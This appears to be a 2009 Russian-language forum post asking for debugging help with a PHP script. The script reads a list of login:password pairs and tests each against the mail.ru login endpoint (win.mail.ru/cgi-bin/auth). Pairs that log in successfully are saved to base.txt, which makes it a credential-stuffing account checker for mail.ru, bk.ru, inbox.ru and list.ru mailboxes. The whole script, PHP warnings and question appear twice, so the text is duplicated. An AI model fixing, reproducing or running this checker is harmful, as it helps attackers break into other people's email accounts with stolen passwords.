sNt
24.05.2009, 00:15
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
set_time_limit(5);
$acc="la.txt";
$fp=@fopen($acc,"r");
while(!feof($fp)){
$account = trim(fgets($fp));
$ac = explode(":", $account);
$login = $ac[0];
$pass = $ac[1];
$domain="";
if(preg_match("/mail.ru/", $login)) {$domain="@mail.ru";}
elseif(preg_match("/bk.ru/", $login)) {$domain="@bk.ru";}
elseif(preg_match("/inbox.ru/", $login)) {$domain="@inbox.ru";}
elseif(preg_match("/list.ru/", $login)) {$domain="@list.ru";}
$login=str_replace($domain, "", $login);
$fp = fsockopen('win.mail.ru', 80, $errno, $errstr, 30);
if ($fp)
{
$data = "Login=$login&Domain=$domain&Password=$pass";
$headers = "POST /cgi-bin/auth HTTP/1.1\n";
$headers .= "Host: win.mail.ru\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\n";
$headers .= "Content-Length: ".strlen($data)."\n\n".$data;
fwrite($fp, $headers);
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
$auth=0;
$text="302 OK";
if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;}
if($auth==1)
{
$file=fopen("base.txt", "a");
fwrite($file, "<br>$login@$domain:$pass</br>");
fclose($file);}
}
?>
Вылезают ошибки
Warning: feof(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 8
Warning: fgets(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 9
Что не так? Не могу понять... :(
Error_Reporting(E_ALL & ~E_NOTICE);
set_time_limit(5);
$acc="la.txt";
$fp=@fopen($acc,"r");
while(!feof($fp)){
$account = trim(fgets($fp));
$ac = explode(":", $account);
$login = $ac[0];
$pass = $ac[1];
$domain="";
if(preg_match("/mail.ru/", $login)) {$domain="@mail.ru";}
elseif(preg_match("/bk.ru/", $login)) {$domain="@bk.ru";}
elseif(preg_match("/inbox.ru/", $login)) {$domain="@inbox.ru";}
elseif(preg_match("/list.ru/", $login)) {$domain="@list.ru";}
$login=str_replace($domain, "", $login);
$fp = fsockopen('win.mail.ru', 80, $errno, $errstr, 30);
if ($fp)
{
$data = "Login=$login&Domain=$domain&Password=$pass";
$headers = "POST /cgi-bin/auth HTTP/1.1\n";
$headers .= "Host: win.mail.ru\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\n";
$headers .= "Content-Length: ".strlen($data)."\n\n".$data;
fwrite($fp, $headers);
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
$auth=0;
$text="302 OK";
if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;}
if($auth==1)
{
$file=fopen("base.txt", "a");
fwrite($file, "<br>$login@$domain:$pass</br>");
fclose($file);}
}
?>
Вылезают ошибки
Warning: feof(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 8
Warning: fgets(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 9
Что не так? Не могу понять... :(